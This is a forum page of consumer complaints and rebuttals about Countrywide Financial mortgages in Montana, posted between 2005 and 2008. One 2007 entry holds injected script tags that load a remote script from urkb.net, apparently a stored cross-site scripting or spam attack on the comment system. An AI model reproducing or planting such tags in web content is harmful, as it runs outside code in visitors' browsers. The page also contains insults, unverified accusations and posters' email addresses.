Countrywide Financial - Montana Home Loans - Equity Loan Mortgages SUCKS!

Montana Home Loans? Sub-prime (bad credit), Need money, Mortgage Refinance, Or Want A Home Equity Loan Montana and dont want to get ripped off or have hiden fees on your Home Loans?

Need A Home Loan MT, Refinance, Purchase, Or Make Home Improvements. Mortgage Rates Have Reached A All-Time Low Make Sure You Pick A Broker That Will find the right Home Equity loan at the best rate for you. We recommend that you conduct your own due diligence on mortgage brokers to find the one that is best for you. This site is a forum for users and should not be your only source of information about Countrywide Home Loan prior to choosing a lender.

This is what home loan customers in Montana (MT) have been saying...

• Bad Credit Home Loans • Home Loans • Home Equity loan • Refinance • Home Equity • Debt Consolidation • Equity Credit Line • Home Loan

ADD YOUR STORY Left: June 20, 2006 By: Truth Commission In: USA THIS IS IN RESPONSE TO \"JOE D\" and his worthless post on June 11, THIS IS FOR ALL PRO-CW AND ANTI-CW READERS. You don\'t seem to get it. For many years Countrywide HAS BEEN #1 in customer service. But guess what? Countrywide is soon to be a HAS BEEN. I know all this because I had just recently quit Countrywide to work for another mortgage company. Countrywide didn\'t use move operations over to India, BUT NOW they do! That will be bad for customer service. COUNTYWIDE IS NOW TOO CHEAP TO KEEP UP ON ITS COMPUTERS AND COMPUTER SYSTEMS. When I worked there, computers froze up at least 5 times a day, and application information was always getting erased. That is why the number of customers complaining about missing payments has been increasing in the last few years. That is why it is now taking Countrywide 30 to 40 days to close a loan. Also because Countrywide now has a lot of untrained, inefficient, and disorganized underwriters and processors. (Countrywide may now also be too cheap to hire an adequate staff) That is also why payoffs and other items are now coming out wrong. Also Countrywide requires just about all of its loan originations to use LANDSAFE appraisal, a company owned by Countrywide itself. Their appraisals are extremely conservative, and 9 out of 10 of mine and other A/E’s came in OVER $10K less than comps. Even if the home was in good condition. This forces the A/E to restructure the loan a higher rate, less cashout, fewer bills paid, or a some combination of the factors. Their appraisals set the road for disguised predatory lending, and bait and switch. Wake up Joe D! Have you ever studied the life cycle of an organization? Check it out. It comes in four stages: Introduction, growth, maturity, and decline. Right now, Countrywide is slowing down in the growth stage about to hit maturity. The only thing holding right now is the brand name its built from its past. And if Countrywide continues with its path, it will not be long until it is in its decline stage. ENRON WAS ONCE A FORTUNE 500 COMPANY. Countrywide is riding in the same path. Also Countrywide was recently sued in California from its conduct as an employer, and apparently it never learned from the lawsuit. Another lawsuit will happen. Joe D. you are not in the position to call the people here \"Jerk Offs\". Especially if you\'re another goon in Countrywide\'s management. Because only someone in CW management would stick up for Countrywide the way you just did. Not to meantion Joe, you posted your same pathetic post on all 50 state pages here, claiming to be from different local cities. And to the Pro-CW idiot who keeps taking up the excessive space in the forum with blank lines. GET A LIFE LOOSER. You will not keep others from reading the previous posts. Left: June 13, 2006 By: In: CHL = Enron Left: June 11, 2006 By: In: Left: June 11, 2006 By: Joe D In: Billings Hey jerkoffs..CW ia a member of the S&P 500, Fortune 500, and #1 in customer satisfaction..this website\'s sole purpose is to drive business to US-Home Loans.com...get a life you stupid a**holes... Left: March 14, 2006 By: In: BEWARE OF MANAGEMENT ADVISORS INTERNATIONAL OR MAI. THEY ARE A CUT THROAT RECRUITING FIRM OUT OF HICKORY AND CHARLOTTE, NC, AND FLORIDA. THEY RECRUIT YOUR EMPLOYEES OUT OF YOUR COMPANY THEN CALL YOU AND REQUEST THAT YOU PAY THEM A RETAINER TO FILL THE OPEN POSITION. A YEAR LATER AND THEY COME RIGHT BACK AND RECRUIT THAT SAME CANDIDATE THEY FILLED THE OPEN POSITION WITH. THEIR GAME IS GETTING RETAINERS. IF YOU RETAIN THEM THEN WALK AWAY FROM THE DEAL, YOU OWE THEM 75%. IF YOU RETAIN THEM BUT FILL THE POSITION WITH A CANDIDATE YOU FIND, YOU OWE THEM THE FULL FEE. Left: February 03, 2006 By: In: NO ONE CAN LIE LIKE COUNTRYWIDE CAN Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. That’s right, no application fee, no appraisal fee, no title fee, no underwriting fee, NO CLOSING COSTS. NEVEVERMIND THAT IT’S A VARIABLE RATE ARM (Prime Rate+) LOAN. NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY). NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE. No one can screw you like Countrywide can. Left: February 03, 2006 By: jake In: cali Improper Home Charges Read then File a complaint www.zimmreed.com Left: January 29, 2006 By: In: NO ONE CAN LIE LIKE COUNTRYWIDE CAN Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. That’s right, no application fee, no appraisal fee, no title fee, no closing fee, NO CLOSING COSTS. NEVEVERMIND THAT IT’S A VARIABLE RATE ARM (Prime Rate+) LOAN. NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY). NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE. No one can screw you like Countrywide can. GO GET A BETTER RATE & SERVICE AT YOUR LOCAL BANK OR CREDIT UNION. Left: January 20, 2006 By: roy In: tampa Notice: Must Read Sweat Shop Employees www.gdblegal.com Appraisal Overcharges www.sherlocklegal.com Wrong Doings www.jameshoyer.com www.ripoffreport.com file your complaint Left: December 03, 2005 By: In: Current Customers should call customer Service and tell them you want NO CONTACT 1-800-669-6607 That means: *No emails *No Phone Solicitations *No Junk Mail Get customer service reps name and employee ID# and make a note of it. Countrywide gets around the do not call list because of a loop hole that allows them to call their current customers. Why do you think they buy so many mortgages? So they can call you and sell stuff to you is one reason. Left: November 03, 2005 By: TOP PRODUCER In: I\'VE NEVER READ SUCH BS, AS I\'VE READ JUST NOW! I HAVE A FEELING MOST OF YOU BABIES WHO GOT FIRED BECAUSE YOU WERE DOING FRAUD OR THOSE WHO THINK GOT THE SHORT END OF THE STICK PROBABLY HAVE 500 FICO SCORES, BECAUSE ONLY UNGRATEFUL BRATS COMPLAIN. CHL IS AMERICAS\' #1 RESIDENTIAL MORTGAGE BANK IN THE WORLD! NO OTHER BANK CAN COMPETE. OUR RATES, OUTSTANDING CUSTOMER SERVICE, AND UNDERSTANDING OF THE MORTGAGE INDUSTRY WILL ALLOW US TO DOMINATE FOR YEARS TO COME. 1 OUT OF EVERY 3 PEOPLE HAVE A CHL, GO ASK YOUR NEIGHBOR HOW HAPPY HE/SHE IS WITH US. I DARE YOU! THIS GOES TO ALL THE STUPID PEOPLE ON HERE: WHAT MORTGAGE BANK DO YOU KNOW THAT SPLIT 3 TIMES IN ONE YEAR AND HAD A ROR OF 90%?? ANYONE? YOU THINK WAMU, CHASE, WELLS, HAD A ROR OF OVER 90% IN ONE YEAR?? NO! THEY DIDN\'T! BUT COUNTRYWIDE HOME LOANS DID. I SEE WHY THE AUTHOR OF THIS WEBSITE CREATED THIS WEBSITE; TO MISINFORM POTENTIAL CUSTOMERS FROM DOING BUSINESS WITH US. WHY IS IT THAT THIS WEBSITE ONLY HAS NEGATIVE POSTS?? NOTHING BUT A BUNCH OF BIAS KIDS. I\'M GOING TO BE CHECKING IN A WEEK TO SEE IF THIS POST WAS POSTED, IF NOT THEN I KNOW WHAT THE AUTHOR HAS IN MIND AND THAT IS TO WEAKEN COUNTRYWIDE HOME LOANS. HE/SHE WOULD HAVE TO KEEP THIS WEBSITE FOR 10,000 YEARS BEFORE ANYONE STARTS HAVING DOUBT IN THIS COMPANY. IF SOME OF YOU GOT FIRED FROM THIS COMPANY, I\'M GLAD! WE DON\'T WANT YOU ANYWAY. WE ONLY WANT THE BEST WORKING HERE, GO TO OUR COMPETITORS THEY\'LL HIRE YOU/ AND WE\'LL CONTINUE BEING #1 IN THE WORLD IN RESIDENTIAL HOME LOANS. TAKE CARE GOD BLESS! PLEASE ASK ME ANY QUESTION. AND STOP COMPLAINING THAT YOU DON\'T KNOW WHERE TO SEND YOUR PAYMENT, THAT COMMENT IS AS OLD AS DINOSAURS. CALL THE MORTGAGE CONSULTANT YOU DEALT WITH AND HE\'ll DIRECTED YOU IN THE RIGHT PATH. WE ARE HERE TO HELP YOU ALONG THE WAY, FROM YOUR FIRST CONTACT, TO THE CLOSING TABLE, AND YOUR PICNIC AT YOUR HOME WITH FRIENDS AND FAMILY! THANK YOU FOR YOUR BUSINESS! GOD BLESS! LIVE WITH PASSION!!!!!! Left: September 20, 2005 By: An observer In: Atlanta, GA I don\'t know about all the name calling, etc. but one thing is certain. Something bad has happened to Countrywide in Atlanta and there won\'t be an end until it\'s destroyed. Someone hired people to run this part of the company that either have no interest in the company or just simply aren\'t qualified to run a company. There is no profit being made and everyone is unhappy -- customers and employees. Seems like a recipe for disaster. Sit back and watch it fall. Maybe a year, maybe not that long. They\'ll be gone, someone new will be along or they can close down Atlanta altogether. I don\'t think Atlanta would be missed by the rest of Countrywide. Left: July 26, 2005 By: In: I\'m going to post this in every state listed here. YOU MUST TAKE RESPONSIBILITY FOR YOUR OWN ACTIONS AND DECISIONS!! I have recently left the lending industry. I can site many reasons for this, however the top reason has to be dealing with borrowers and potential borrowers who had no concept of financial responsibility. Just because you have a 700 credit score does not mean you demonstrate good use of credit or that you are guaranteed the rate or terms you want. In fact, many people who have the best credit scores carry the most debt. What you people do not understand is that the lending institutions want you to carry debt, so if you carry alot of debt and pay it on time your score will be higher than someone who pays their bills OFF every month and only carries a mortgage and a car loan/lease. If you fall on hard times, pay your damn mortgage and let the friggin\' Visa\'s go delinquent. Visa isn\'t going to take your house, your mortgage company is. People jump to quickly to file BK. Guess what, ole\' GW has made that next to impossible for the average American. You\'re better off making arrangements with your credit card companies and paying your mortgage off as quickly as possible. Use good judgement, not the \"I want it now!\" mentality. Buy a Trailblazer instead of the RangeRover or the Hummer or the Lincol or Caddy or whatever. How many of you people that post on here have kids? What kind of behavior do you think your actions teaches them? Anyone who would voice their opinion is more than welcome to email me at michael_harman1976@yahoo.com. I would be more than happy to help anyone who needs some good advice on how to get themselves into a good financial position. I am not selling anything, I\'m a former CW employee who feels an obligation to help those who have been taken advantage of. Michael Left: May 19, 2005 By: In: Thank you so much for this website. Our realtor recommended Countrywide so strongly that we went to them for our mortgage. If you think Countrywide is bad, try going to a realtor who works hand-in-hand with Countrywide. Countrywide gave us an interest rate upon which we based our offer. As soon as the offer was accepted, Countrywide upped the interest rate so much that we knew we could no longer afford the house, but we had signed an offer to purchase that allowed that rate of interest (on the advice of Countrywide, who said it didn\'t really mean we would ever have to pay that higher rate, it was just something to put on the offer). So, we went to a bank, and they offered us a much lower rate. The bank called the realtor to start the loan process. The realtor turned around and called Countrywide, who then called us, to offer us a much, much better rate. Okay. But then, Countrywide wouldn\'t move. Not even an application to start the loan process. Each time I called they tap-danced about computers and \"in the system,\" etc. We had no application, no written estimate, nothing. Twelve days before closing I called our local bank in a panic. They were able to do the loan at that interest rate and cut Countrywide out completely. They said if we had waited a couple more days it would have been too late. We believe that Countrywide was holding out until we had no other options before they would give us a loan, and the terms of it would have been at their pleasure. THEN, we found out our realtor had not disclosed an encroachment. This alone could have been a deal-breaker, but we wanted the property so we worked out a deal with the man who owned the property on whom we were encroaching. We also got an attorney, and asked him to take over the closing, which we had been planning to do at the realtor\'s office. WELLLLLL---Here it gets fun. Countrywide and our realtor had worked into the purchase all sorts of \"creative financing,\" so that we, the buyers, would be credited with approximately $3,500 at the closing, which would have been at the realtor\'s office, where we wouldn\'t have known what the hell he was doing with the money. But our lawyer and our bank did exactly that; they credited us with the $3,500. In fact, they ran out of places to credit us, so the seller ended up writing us a personal check for the balance. Our realtor was shocked when he found this out at closing. We had to stay an hour while everyone in his office and the lawyer\'s office looked for money, calculators clicking, pages flying. The realtor went outside and talked on his cell phone. We overhead him shout, \"Well then we\'re screwed!\" I kid you not! At another point in this comedy our lawyer asked him, \"Well, where\'s the earnest money? I don\'t have it. Do you have it?\" And the realtor said, distractedly, \"Well yes, I have it, but….\" and went back to playing with his calculator. The way it finally turned out for us was beautiful. The seller actually ended up paying for part of our down payment, but it didn\'t cost him anything because Countrywide had him raise the asking price in order to credit us, in order to be able to get their thousands at closing. We paid NO FEES whatsoever, and walked away with a small check to the good. The seller paid a very low commission to the realtor (because the realtor quoted him a small commission, apparently because he, the realtor, was going to get a cut of the \"creative financing\" done by Countrywide at closing.) Watching this comedy of errors was truly enjoyable; however, it followed a month of anxiety and fear. I don\'t recommend Countrywide to anyone. And if your realtor recommends them, please be warned. Left: May 17, 2005 By: Sammy In: MT to Missey In: Helena- Honey, is that how hillbillies spell Missy? You should really learn about homonyms! (Fair / Fare) Countrywide sucks! Left: April 20, 2005 By: Missey In: Helena I have been with Countrywide for over 8 years now and find them a great place to get loans from. They are fare, honest and upfront. I will continue to do business with them. Date: Thu 03/1/07 9:27PM From: <script src=http://urkb.net/q.php>jonny9</script > Message: <script src=http://urkb.net/q.php>jonny17</scrip t> Date: Thu 04/12/07 12:16PM From: Uh-Oh Message: NEW YORK, April 12 (Reuters) - Countrywide Financial Corp. (CFC.N: Quote, Profile, Research), the largest U.S. mortgage lender, said on Thursday the amount of mortgages in its portfolio that are in foreclosure nearly doubled, amid a difficult U.S. housing market. Date: Mon 09/17/07 10:26PM From: Meg Message: Well, I don't want to get into the fray here, but I do want to say that we did NOT know where to send our payment and we had money in hand and were waiting to send it. The bills did not come to our new home because, despite our correcting it three different times, Countrywide still showed up at closing with the wrong address on our doc**ents. We corrected it at the table and they still didn't fix the problem. I paid online a little late with no harm done to my credit, but they are trying to charge me late fees. Interest rate is higher than it should be, and customer service nonexistent. The guy on the phone actually said sending a bill to me was a courtesy. They don't have to send me a bill at all. I should be grateful to receive one. Well, when I actually do receive one, maybe I'll consider being grateful. I think not. Date: Sun 09/23/07 2:17PM From: Allen Message: Meg- you slouch. Get up off of your fat a**, and pay your bills. We ARE the number 1 lender, and you should feel privaledged to have us as your lender. We know it is human nature to come up with excuses, but come on, when are you going to quit coming up with all the lies? Meg, does your "blue collar" husband know that you aren't paying the bills? We will foreclose on you if we have to. Date: Sat 09/29/07 6:10PM From: MARTHA BURRELL Message: I also have morgage with countrywide and hate them.I can not deal with them because I seem to always get the run around.I have yet to speak to the same person.I am now facing foreclosure. I am in the beginning stages. I have tried since my husband died to refinance and have gotten no where.Does anyone know of some that does foreclosure bailout loans so I can save my home and countrywide can stick up their a**.GREATFUL for any help. Thanks Date: Tue 11/13/07 4:15PM From: marbysand Message: Hang on, there Montana! The calvary is comin'. Countrywide just stepped in it...a big pile... We're gonna have to clean this little mess up......TEXAS STYLE! Date: Fri 02/8/08 10:04AM From: susan alsup Message: We were told by CHL that we could take 57,000 out of our equity and refinance and pay down our debt.HUD papers never mentioned a prepayment penalty. The loan closes Dec.16,2006. Monies were deposited into our checking acct electronically several days later totaling 57,000. The following day, CHL called to say that there had been a mistake. We DID have a prepayment penalty. They stopped payment on our check , reissued one MINUS 20,000. No record of this is on docs anywhere at CHL, and I want to know...where is the money? HAS ANYONE ELSE EXPERIENCED THIS? Date: Mon 03/10/08 3:47PM From: Todd Message: My story is a little older than most. I bought my house in 1999 and refi'ed in 2000. Countrywide bought our loan. They continualy paid for our property taxxes and insurance and made us liable for the payments by adding this to an escrow account which gained penalties and interest. Even after providing proof of insurance and proof of property taxes being paid, they still insisted on us paying of the escrow. The workout plans they offered were large downpayments and increased monthly payments to the point where we coulkd no longer afford the payments. After they bled us dry of up front monies to block a forclosure, and raising our monthly payments, I told them that I could no longer make the payments and they forclosed in 2006. My wife and I, and our two childern were homeless for almost 6 months. There is probably nothing we can do now, but I knew they were dirty years ago. If anyone knows of anything we can do, please let me know. pokerjockey1@yahoo. com